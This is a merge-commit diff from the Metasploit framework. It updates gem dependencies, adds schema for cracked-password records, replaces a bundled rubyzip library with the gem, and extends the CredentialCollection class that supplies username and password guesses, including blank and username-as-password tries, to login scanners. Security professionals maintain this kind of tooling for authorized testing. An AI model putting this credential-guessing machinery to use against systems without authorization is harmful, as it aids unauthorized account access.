Merge branch 'staging/electro-release' into feature/MSP-9693/db2_auth
commit
e4ff07dfa8
3
Gemfile
3
Gemfile
|
@ -1,5 +1,4 @@
|
|||
source 'https://rubygems.org'
|
||||
|
||||
# Add default group gems to `metasploit-framework.gemspec`:
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec
|
||||
|
@ -8,7 +7,7 @@ group :db do
|
|||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
# Metasploit::Credential database models
|
||||
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.3.2-electro-release'
|
||||
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.4.1-electro-release'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.17.1'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -1,12 +1,13 @@
|
|||
GIT
|
||||
remote: github-metasploit-credential:rapid7/metasploit-credential.git
|
||||
revision: 7eb354ee05c9c9e55875f1c6b86de5de54b014a5
|
||||
tag: v0.3.2-electro-release
|
||||
revision: 39fc93ded093ad862f62d257bcf9c5a08b614d30
|
||||
tag: v0.4.1-electro-release
|
||||
specs:
|
||||
metasploit-credential (0.3.2.pre.electro.pre.release)
|
||||
metasploit-credential (0.4.1.pre.electro.pre.release)
|
||||
metasploit-concern (~> 0.1.0)
|
||||
metasploit_data_models (~> 0.17.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
|
||||
PATH
|
||||
remote: .
|
||||
|
@ -21,6 +22,7 @@ PATH
|
|||
railties
|
||||
rkelly-remix (= 0.0.6)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
tzinfo
|
||||
|
||||
|
@ -115,6 +117,7 @@ GEM
|
|||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.4)
|
||||
shoulda-matchers (2.6.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.5.4)
|
||||
|
|
11
db/schema.rb
11
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20140520140817) do
|
||||
ActiveRecord::Schema.define(:version => 20140605173747) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -198,6 +198,14 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
|
|||
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
|
||||
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
|
||||
|
||||
create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t|
|
||||
t.integer "metasploit_credential_core_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores"
|
||||
|
||||
create_table "metasploit_credential_origin_imports", :force => true do |t|
|
||||
t.text "filename", :null => false
|
||||
t.integer "task_id", :null => false
|
||||
|
@ -238,6 +246,7 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
|
|||
t.text "data", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "jtr_format"
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true
|
||||
|
|
|
@ -15,6 +15,7 @@ require 'packetfu'
|
|||
# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix'
|
||||
require 'rkelly'
|
||||
require 'robots'
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
# Project
|
||||
|
|
|
@ -6,27 +6,41 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Whether each username should be tried with a blank password
|
||||
# @return [Boolean]
|
||||
attr_accessor :blank_passwords
|
||||
|
||||
# @!attribute pass_file
|
||||
# Path to a file containing passwords, one per line
|
||||
# @return [String]
|
||||
attr_accessor :pass_file
|
||||
|
||||
# @!attribute realm
|
||||
# @return [String]
|
||||
attr_accessor :realm
|
||||
|
||||
# @!attribute password
|
||||
# @return [String]
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute prepended_creds
|
||||
# List of credentials to be tried before any others
|
||||
#
|
||||
# @see #prepend_cred
|
||||
# @return [Array<Credential>]
|
||||
attr_accessor :prepended_creds
|
||||
|
||||
# @!attribute user_as_pass
|
||||
# Whether each username should be tried as a password for that user
|
||||
# @return [Boolean]
|
||||
attr_accessor :user_as_pass
|
||||
|
||||
# @!attribute user_file
|
||||
# Path to a file containing usernames, one per line
|
||||
# @return [String]
|
||||
attr_accessor :user_file
|
||||
|
||||
# @!attribute username
|
||||
# @return [String]
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute user_file
|
||||
# Path to a file containing usernames and passwords seperated by a space,
|
||||
# one pair per line
|
||||
|
@ -36,6 +50,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
|
||||
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
|
||||
# @option opts [String] :user_file See {#user_file}
|
||||
# @option opts [String] :username See {#username}
|
||||
|
@ -44,6 +59,17 @@ class Metasploit::Framework::CredentialCollection
|
|||
opts.each do |attribute, value|
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
self.prepended_creds ||= []
|
||||
end
|
||||
|
||||
# Add {Credential credentials} that will be yielded by {#each}
|
||||
#
|
||||
# @see prepended_creds
|
||||
# @param cred [Credential]
|
||||
# @return [self]
|
||||
def prepend_cred(cred)
|
||||
prepended_creds.unshift cred
|
||||
self
|
||||
end
|
||||
|
||||
# Combines all the provided credential sources into a stream of {Credential}
|
||||
|
@ -56,6 +82,8 @@ class Metasploit::Framework::CredentialCollection
|
|||
pass_fd = File.open(pass_file, 'r:binary')
|
||||
end
|
||||
|
||||
prepended_creds.each { |c| yield c }
|
||||
|
||||
if username
|
||||
if password
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm)
|
||||
|
|
|
@ -178,8 +178,6 @@ module Metasploit
|
|||
raise NotImplementedError
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :sock
|
||||
|
||||
end
|
||||
|
|
|
@ -7,7 +7,6 @@
|
|||
require 'csv'
|
||||
require 'tmpdir'
|
||||
require 'uri'
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
#
|
||||
|
@ -2914,7 +2913,7 @@ class DBManager
|
|||
|
||||
case data[0,4]
|
||||
when "PK\x03\x04"
|
||||
data = Zip::ZipFile.open(filename)
|
||||
data = Zip::File.open(filename)
|
||||
when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4"
|
||||
data = PacketFu::PcapFile.new(:filename => filename)
|
||||
else
|
||||
|
@ -2981,7 +2980,7 @@ class DBManager
|
|||
# If there is no match, an error is raised instead.
|
||||
def import_filetype_detect(data)
|
||||
|
||||
if data and data.kind_of? Zip::ZipFile
|
||||
if data and data.kind_of? Zip::File
|
||||
if data.entries.empty?
|
||||
raise DBImportError.new("The zip file provided is empty.")
|
||||
end
|
||||
|
|
|
@ -70,13 +70,19 @@ module Msf::Module::Deprecated
|
|||
print_warning("*"*72)
|
||||
end
|
||||
|
||||
def init_ui(input = nil, output = nil)
|
||||
super(input, output)
|
||||
print_deprecation_warning
|
||||
@you_have_been_warned = true
|
||||
end
|
||||
|
||||
def generate
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
print_deprecation_warning
|
||||
print_deprecation_warning unless @you_have_been_warned
|
||||
super
|
||||
end
|
||||
|
||||
|
|
|
@ -1 +0,0 @@
|
|||
require 'zip/zip'
|
1146
lib/zip/ChangeLog
1146
lib/zip/ChangeLog
File diff suppressed because it is too large
Load Diff
162
lib/zip/NEWS
162
lib/zip/NEWS
|
@ -1,162 +0,0 @@
|
|||
= Version 0.9.4
|
||||
|
||||
Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now
|
||||
allows comment, extra field and compression method to be specified.
|
||||
|
||||
= Version 0.9.3
|
||||
|
||||
Fixed: Added ZipEntry::name_encoding which retrieves the character
|
||||
encoding of the name and comment of the entry. Also added convenience
|
||||
methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for
|
||||
getting zip entry names and comments in a specified character
|
||||
encoding.
|
||||
|
||||
= Version 0.9.2
|
||||
|
||||
Fixed: Renaming an entry failed if the entry's new name was a
|
||||
different length than its old name. (Diego Barros)
|
||||
|
||||
= Version 0.9.1
|
||||
|
||||
Added symlink support and support for unix file permissions. Reduced
|
||||
memory usage during decompression.
|
||||
|
||||
New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership].
|
||||
New methods ZipEntry::unix_perms, ZipInputStream::eof?.
|
||||
Added documentation and test for new ZipFile::extract.
|
||||
Added some of the API suggestions from sf.net #1281314.
|
||||
Applied patch for sf.net bug #1446926.
|
||||
Applied patch for sf.net bug #1459902.
|
||||
Rework ZipEntry and delegate classes.
|
||||
|
||||
= Version 0.5.12
|
||||
|
||||
Fixed problem with writing binary content to a ZipFile in MS Windows.
|
||||
|
||||
= Version 0.5.11
|
||||
|
||||
Fixed name clash file method copy_stream from fileutils.rb. Fixed
|
||||
problem with references to constant CHUNK_SIZE.
|
||||
ZipInputStream/AbstractInputStream read is now buffered like ruby IO's
|
||||
read method, which means that read and gets etc can be mixed. The
|
||||
unbuffered read method has been renamed to sysread.
|
||||
|
||||
= Version 0.5.10
|
||||
|
||||
Fixed method name resolution problem with FileUtils::copy_stream and
|
||||
IOExtras::copy_stream.
|
||||
|
||||
= Version 0.5.9
|
||||
|
||||
Fixed serious memory consumption issue
|
||||
|
||||
= Version 0.5.8
|
||||
|
||||
Fixed install script.
|
||||
|
||||
= Version 0.5.7
|
||||
|
||||
install.rb no longer assumes it is being run from the toplevel source
|
||||
dir. Directory structure changed to reflect common ruby library
|
||||
project structure. Migrated from RubyUnit to Test::Unit format. Now
|
||||
uses Rake to build source packages and gems and run unit tests.
|
||||
|
||||
= Version 0.5.6
|
||||
|
||||
Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of
|
||||
Errno::EINVAL for some invalid seeks. Fixed 'version needed to
|
||||
extract'-field incorrect in local headers.
|
||||
|
||||
= Version 0.5.5
|
||||
|
||||
Fix for a problem with writing zip files that concerns only ruby 1.8.1.
|
||||
|
||||
= Version 0.5.4
|
||||
|
||||
Significantly reduced memory footprint when modifying zip files.
|
||||
|
||||
= Version 0.5.3
|
||||
|
||||
Added optimization to avoid decompressing and recompressing individual
|
||||
entries when modifying a zip archive.
|
||||
|
||||
= Version 0.5.2
|
||||
|
||||
Fixed ZipFile corruption bug in ZipFile class. Added basic unix
|
||||
extra-field support.
|
||||
|
||||
= Version 0.5.1
|
||||
|
||||
Fixed ZipFile.get_output_stream bug.
|
||||
|
||||
= Version 0.5.0
|
||||
|
||||
List of changes:
|
||||
* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility
|
||||
* Changed method names from camelCase to rubys underscore style.
|
||||
* Installs to zip/ subdir instead of directly to site_ruby
|
||||
* Added ZipFile.directory and ZipFile.file - each method return an
|
||||
object that can be used like Dir and File only for the contents of the
|
||||
zip file.
|
||||
* Added sample application zipfind which works like Find.find, only
|
||||
Zip::ZipFind.find traverses into zip archives too.
|
||||
|
||||
Bug fixes:
|
||||
* AbstractInputStream.each_line with non-default separator
|
||||
|
||||
|
||||
= Version 0.5.0a
|
||||
|
||||
Source reorganized. Added ziprequire, which can be used to load ruby
|
||||
modules from a zip file, in a fashion similar to jar files in
|
||||
Java. Added gtkRubyzip, another sample application. Implemented
|
||||
ZipInputStream.lineno and ZipInputStream.rewind
|
||||
|
||||
Bug fixes:
|
||||
|
||||
* Read and write date and time information correctly for zip entries.
|
||||
* Fixed read() using separate buffer, causing mix of gets/readline/read to
|
||||
cause problems.
|
||||
|
||||
= Version 0.4.2
|
||||
|
||||
Performance optimizations. Test suite runs in half the time.
|
||||
|
||||
= Version 0.4.1
|
||||
|
||||
Windows compatibility fixes.
|
||||
|
||||
= Version 0.4.0
|
||||
|
||||
Zip::ZipFile is now mutable and provides a more convenient way of
|
||||
modifying zip archives than Zip::ZipOutputStream. Operations for
|
||||
adding, extracting, renaming, replacing and removing entries to zip
|
||||
archives are now available.
|
||||
|
||||
Runs without warnings with -w switch.
|
||||
|
||||
Install script install.rb added.
|
||||
|
||||
|
||||
= Version 0.3.1
|
||||
|
||||
Rudimentary support for writing zip archives.
|
||||
|
||||
|
||||
= Version 0.2.2
|
||||
|
||||
Fixed and extended unit test suite. Updated to work with ruby/zlib
|
||||
0.5. It doesn't work with earlier versions of ruby/zlib.
|
||||
|
||||
|
||||
= Version 0.2.0
|
||||
|
||||
Class ZipFile added. Where ZipInputStream is used to read the
|
||||
individual entries in a zip file, ZipFile reads the central directory
|
||||
in the zip archive, so you can get to any entry in the zip archive
|
||||
without having to skipping through all the preceeding entries.
|
||||
|
||||
|
||||
= Version 0.1.0
|
||||
|
||||
First working version of ZipInputStream.
|
|
@ -1,72 +0,0 @@
|
|||
= rubyzip
|
||||
|
||||
rubyzip is a ruby library for reading and writing zip files.
|
||||
|
||||
= Install
|
||||
|
||||
If you have rubygems you can install rubyzip directly from the gem
|
||||
repository
|
||||
|
||||
gem install rubyzip
|
||||
|
||||
Otherwise obtain the source (see below) and run
|
||||
|
||||
ruby install.rb
|
||||
|
||||
To run the unit tests you need to have test::unit installed
|
||||
|
||||
rake test
|
||||
|
||||
|
||||
= Documentation
|
||||
|
||||
There is more than one way to access or create a zip archive with
|
||||
rubyzip. The basic API is modeled after the classes in
|
||||
java.util.zip from the Java SDK. This means there are classes such
|
||||
as Zip::ZipInputStream, Zip::ZipOutputStream and
|
||||
Zip::ZipFile. Zip::ZipInputStream provides a basic interface for
|
||||
iterating through the entries in a zip archive and reading from the
|
||||
entries in the same way as from a regular File or IO
|
||||
object. ZipOutputStream is the corresponding basic output
|
||||
facility. Zip::ZipFile provides a mean for accessing the archives
|
||||
central directory and provides means for accessing any entry without
|
||||
having to iterate through the archive. Unlike Java's
|
||||
java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means
|
||||
it can be used to change zip files as well.
|
||||
|
||||
Another way to access a zip archive with rubyzip is to use rubyzip's
|
||||
Zip::ZipFileSystem API. Using this API files can be read from and
|
||||
written to the archive in much the same manner as ruby's builtin
|
||||
classes allows files to be read from and written to the file system.
|
||||
|
||||
rubyzip also features the
|
||||
zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which
|
||||
allows ruby to load ruby modules from zip archives.
|
||||
|
||||
For details about the specific behaviour of classes and methods refer
|
||||
to the test suite. Finally you can generate the rdoc documentation or
|
||||
visit http://rubyzip.sourceforge.net.
|
||||
|
||||
= License
|
||||
|
||||
rubyzip is distributed under the same license as ruby. See
|
||||
http://www.ruby-lang.org/en/LICENSE.txt
|
||||
|
||||
|
||||
= Website and Project Home
|
||||
|
||||
http://rubyzip.sourceforge.net
|
||||
|
||||
http://sourceforge.net/projects/rubyzip
|
||||
|
||||
== Download (tarballs and gems)
|
||||
|
||||
http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377
|
||||
|
||||
= Authors
|
||||
|
||||
Thomas Sondergaard (thomas at sondergaard.cc)
|
||||
|
||||
Technorama Ltd. (oss-ruby-zip at technorama.net)
|
||||
|
||||
extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org)
|
16
lib/zip/TODO
16
lib/zip/TODO
|
@ -1,16 +0,0 @@
|
|||
|
||||
* ZipInputStream: Support zip-files with trailing data descriptors
|
||||
* Adjust rdoc stylesheet to advertise inherited methods if possible
|
||||
* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries.
|
||||
* Suggestion: ZipFile#extract destination should default to "."
|
||||
* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc
|
||||
* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename.
|
||||
* (is buffering used anywhere with write?)
|
||||
* Inflater.sysread should pass the buffer to produce_input.
|
||||
* Implement ZipFsDir.glob
|
||||
* ZipFile.checkIntegrity method
|
||||
* non-MSDOS permission attributes
|
||||
** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
|
||||
* Packager version, required unpacker version in zip headers
|
||||
** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
|
||||
* implement storing attributes and ownership information
|
|
@ -1,165 +0,0 @@
|
|||
module IOExtras #:nodoc:
|
||||
|
||||
CHUNK_SIZE = 131072
|
||||
|
||||
RANGE_ALL = 0..-1
|
||||
|
||||
def self.copy_stream(ostream, istream)
|
||||
s = ''
|
||||
ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof?
|
||||
end
|
||||
|
||||
def self.copy_stream_n(ostream, istream, nbytes)
|
||||
s = ''
|
||||
toread = nbytes
|
||||
while (toread > 0 && ! istream.eof?)
|
||||
tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread
|
||||
ostream.write(istream.read(tr, s))
|
||||
toread -= tr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Implements kind_of? in order to pretend to be an IO object
|
||||
module FakeIO
|
||||
def kind_of?(object)
|
||||
object == IO || super
|
||||
end
|
||||
end
|
||||
|
||||
# Implements many of the convenience methods of IO
|
||||
# such as gets, getc, readline and readlines
|
||||
# depends on: input_finished?, produce_input and read
|
||||
module AbstractInputStream
|
||||
include Enumerable
|
||||
include FakeIO
|
||||
|
||||
def initialize
|
||||
super
|
||||
@lineno = 0
|
||||
@outputBuffer = ""
|
||||
end
|
||||
|
||||
attr_accessor :lineno
|
||||
|
||||
def read(numberOfBytes = nil, buf = nil)
|
||||
tbuf = nil
|
||||
|
||||
if @outputBuffer.length > 0
|
||||
if numberOfBytes <= @outputBuffer.length
|
||||
tbuf = @outputBuffer.slice!(0, numberOfBytes)
|
||||
else
|
||||
numberOfBytes -= @outputBuffer.length if (numberOfBytes)
|
||||
rbuf = sysread(numberOfBytes, buf)
|
||||
tbuf = @outputBuffer
|
||||
tbuf << rbuf if (rbuf)
|
||||
@outputBuffer = ""
|
||||
end
|
||||
else
|
||||
tbuf = sysread(numberOfBytes, buf)
|
||||
end
|
||||
|
||||
return nil unless (tbuf)
|
||||
|
||||
if buf
|
||||
buf.replace(tbuf)
|
||||
else
|
||||
buf = tbuf
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
def readlines(aSepString = $/)
|
||||
retVal = []
|
||||
each_line(aSepString) { |line| retVal << line }
|
||||
return retVal
|
||||
end
|
||||
|
||||
def gets(aSepString=$/)
|
||||
@lineno = @lineno.next
|
||||
return read if aSepString == nil
|
||||
aSepString="#{$/}#{$/}" if aSepString == ""
|
||||
|
||||
bufferIndex=0
|
||||
while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil)
|
||||
bufferIndex=@outputBuffer.length
|
||||
if input_finished?
|
||||
return @outputBuffer.empty? ? nil : flush
|
||||
end
|
||||
@outputBuffer << produce_input
|
||||
end
|
||||
sepIndex=matchIndex + aSepString.length
|
||||
return @outputBuffer.slice!(0...sepIndex)
|
||||
end
|
||||
|
||||
def flush
|
||||
retVal=@outputBuffer
|
||||
@outputBuffer=""
|
||||
return retVal
|
||||
end
|
||||
|
||||
def readline(aSepString = $/)
|
||||
retVal = gets(aSepString)
|
||||
raise EOFError if retVal == nil
|
||||
return retVal
|
||||
end
|
||||
|
||||
def each_line(aSepString = $/)
|
||||
while true
|
||||
yield readline(aSepString)
|
||||
end
|
||||
rescue EOFError
|
||||
end
|
||||
|
||||
alias_method :each, :each_line
|
||||
end
|
||||
|
||||
|
||||
# Implements many of the output convenience methods of IO.
|
||||
# relies on <<
|
||||
module AbstractOutputStream
|
||||
include FakeIO
|
||||
|
||||
def write(data)
|
||||
self << data
|
||||
data.to_s.length
|
||||
end
|
||||
|
||||
|
||||
def print(*params)
|
||||
self << params.join << $\.to_s
|
||||
end
|
||||
|
||||
def printf(aFormatString, *params)
|
||||
self << sprintf(aFormatString, *params)
|
||||
end
|
||||
|
||||
def putc(anObject)
|
||||
self << case anObject
|
||||
when Fixnum then anObject.chr
|
||||
when String then anObject
|
||||
else raise TypeError, "putc: Only Fixnum and String supported"
|
||||
end
|
||||
anObject
|
||||
end
|
||||
|
||||
def puts(*params)
|
||||
params << "\n" if params.empty?
|
||||
params.flatten.each {
|
||||
|element|
|
||||
val = element.to_s
|
||||
self << val
|
||||
self << "\n" unless val[-1,1] == "\n"
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end # IOExtras namespace module
|
||||
|
||||
|
||||
|
||||
# Copyright (C) 2002-2004 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,69 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
system("zip example.zip example.rb gtkRubyzip.rb")
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
####### Using ZipInputStream alone: #######
|
||||
|
||||
Zip::ZipInputStream.open("example.zip") {
|
||||
|zis|
|
||||
entry = zis.get_next_entry
|
||||
print "First line of '#{entry.name} (#{entry.size} bytes): "
|
||||
puts "'#{zis.gets.chomp}'"
|
||||
entry = zis.get_next_entry
|
||||
print "First line of '#{entry.name} (#{entry.size} bytes): "
|
||||
puts "'#{zis.gets.chomp}'"
|
||||
}
|
||||
|
||||
|
||||
####### Using ZipFile to read the directory of a zip file: #######
|
||||
|
||||
zf = Zip::ZipFile.new("example.zip")
|
||||
zf.each_with_index {
|
||||
|entry, index|
|
||||
|
||||
puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}"
|
||||
# use zf.get_input_stream(entry) to get a ZipInputStream for the entry
|
||||
# entry can be the ZipEntry object or any object which has a to_s method that
|
||||
# returns the name of the entry.
|
||||
}
|
||||
|
||||
|
||||
####### Using ZipOutputStream to write a zip file: #######
|
||||
|
||||
Zip::ZipOutputStream.open("exampleout.zip") {
|
||||
|zos|
|
||||
zos.put_next_entry("the first little entry")
|
||||
zos.puts "Hello hello hello hello hello hello hello hello hello"
|
||||
|
||||
zos.put_next_entry("the second little entry")
|
||||
zos.puts "Hello again"
|
||||
|
||||
# Use rubyzip or your zip client of choice to verify
|
||||
# the contents of exampleout.zip
|
||||
}
|
||||
|
||||
####### Using ZipFile to change a zip file: #######
|
||||
|
||||
Zip::ZipFile.open("exampleout.zip") {
|
||||
|zf|
|
||||
zf.add("thisFile.rb", "example.rb")
|
||||
zf.rename("thisFile.rb", "ILikeThisName.rb")
|
||||
zf.add("Again", "example.rb")
|
||||
}
|
||||
|
||||
# Lets check
|
||||
Zip::ZipFile.open("exampleout.zip") {
|
||||
|zf|
|
||||
puts "Changed zip file contains: #{zf.entries.join(', ')}"
|
||||
zf.remove("Again")
|
||||
puts "Without 'Again': #{zf.entries.join(', ')}"
|
||||
}
|
||||
|
||||
# For other examples, look at zip.rb and ziptest.rb
|
||||
|
||||
# Copyright (C) 2002 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,33 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zipfilesystem'
|
||||
|
||||
EXAMPLE_ZIP = "filesystem.zip"
|
||||
|
||||
File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP)
|
||||
|
||||
Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) {
|
||||
|zf|
|
||||
zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" }
|
||||
zf.dir.mkdir("dir1")
|
||||
zf.dir.chdir("dir1")
|
||||
zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" }
|
||||
puts zf.file.read("file1.txt")
|
||||
puts zf.file.read("../file1.txt")
|
||||
zf.dir.chdir("..")
|
||||
zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" }
|
||||
puts "Entries: #{zf.entries.join(', ')}"
|
||||
}
|
||||
|
||||
Zip::ZipFile.open(EXAMPLE_ZIP) {
|
||||
|zf|
|
||||
puts "Entries from reloaded zip: #{zf.entries.join(', ')}"
|
||||
}
|
||||
|
||||
# For other examples, look at zip.rb and ziptest.rb
|
||||
|
||||
# Copyright (C) 2003 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,86 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
require 'gtk'
|
||||
require 'zip/zip'
|
||||
|
||||
class MainApp < Gtk::Window
|
||||
def initialize
|
||||
super()
|
||||
set_usize(400, 256)
|
||||
set_title("rubyzip")
|
||||
signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit }
|
||||
|
||||
box = Gtk::VBox.new(false, 0)
|
||||
add(box)
|
||||
|
||||
@zipfile = nil
|
||||
@buttonPanel = ButtonPanel.new
|
||||
@buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
|
||||
show_file_selector
|
||||
}
|
||||
@buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
|
||||
puts "Not implemented!"
|
||||
}
|
||||
box.pack_start(@buttonPanel, false, false, 0)
|
||||
|
||||
sw = Gtk::ScrolledWindow.new
|
||||
sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC)
|
||||
box.pack_start(sw, true, true, 0)
|
||||
|
||||
@clist = Gtk::CList.new(["Name", "Size", "Compression"])
|
||||
@clist.set_selection_mode(Gtk::SELECTION_BROWSE)
|
||||
@clist.set_column_width(0, 120)
|
||||
@clist.set_column_width(1, 120)
|
||||
@clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) {
|
||||
|w, row, column, event|
|
||||
@selected_row = row
|
||||
}
|
||||
sw.add(@clist)
|
||||
end
|
||||
|
||||
class ButtonPanel < Gtk::HButtonBox
|
||||
attr_reader :openButton, :extractButton
|
||||
def initialize
|
||||
super
|
||||
set_layout(Gtk::BUTTONBOX_START)
|
||||
set_spacing(0)
|
||||
@openButton = Gtk::Button.new("Open archive")
|
||||
@extractButton = Gtk::Button.new("Extract entry")
|
||||
pack_start(@openButton)
|
||||
pack_start(@extractButton)
|
||||
end
|
||||
end
|
||||
|
||||
def show_file_selector
|
||||
@fileSelector = Gtk::FileSelection.new("Open zip file")
|
||||
@fileSelector.show
|
||||
@fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
|
||||
open_zip(@fileSelector.filename)
|
||||
@fileSelector.destroy
|
||||
}
|
||||
@fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
|
||||
@fileSelector.destroy
|
||||
}
|
||||
end
|
||||
|
||||
def open_zip(filename)
|
||||
@zipfile = Zip::ZipFile.open(filename)
|
||||
@clist.clear
|
||||
@zipfile.each {
|
||||
|entry|
|
||||
@clist.append([ entry.name,
|
||||
entry.size.to_s,
|
||||
(100.0*entry.compressedSize/entry.size).to_s+"%" ])
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
mainApp = MainApp.new()
|
||||
|
||||
mainApp.show_all
|
||||
|
||||
Gtk.main
|
|
@ -1,101 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE=true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'Qt'
|
||||
system('rbuic -o zipdialogui.rb zipdialogui.ui')
|
||||
require 'zipdialogui.rb'
|
||||
require 'zip/zip'
|
||||
|
||||
|
||||
|
||||
a = Qt::Application.new(ARGV)
|
||||
|
||||
class ZipDialog < ZipDialogUI
|
||||
|
||||
|
||||
def initialize()
|
||||
super()
|
||||
connect(child('add_button'), SIGNAL('clicked()'),
|
||||
self, SLOT('add_files()'))
|
||||
connect(child('extract_button'), SIGNAL('clicked()'),
|
||||
self, SLOT('extract_files()'))
|
||||
end
|
||||
|
||||
def zipfile(&proc)
|
||||
Zip::ZipFile.open(@zip_filename, &proc)
|
||||
end
|
||||
|
||||
def each(&proc)
|
||||
Zip::ZipFile.foreach(@zip_filename, &proc)
|
||||
end
|
||||
|
||||
def refresh()
|
||||
lv = child("entry_list_view")
|
||||
lv.clear
|
||||
each {
|
||||
|e|
|
||||
lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s))
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
def load(zipfile)
|
||||
@zip_filename = zipfile
|
||||
refresh
|
||||
end
|
||||
|
||||
def add_files
|
||||
l = Qt::FileDialog.getOpenFileNames(nil, nil, self)
|
||||
zipfile {
|
||||
|zf|
|
||||
l.each {
|
||||
|path|
|
||||
zf.add(File.basename(path), path)
|
||||
}
|
||||
}
|
||||
refresh
|
||||
end
|
||||
|
||||
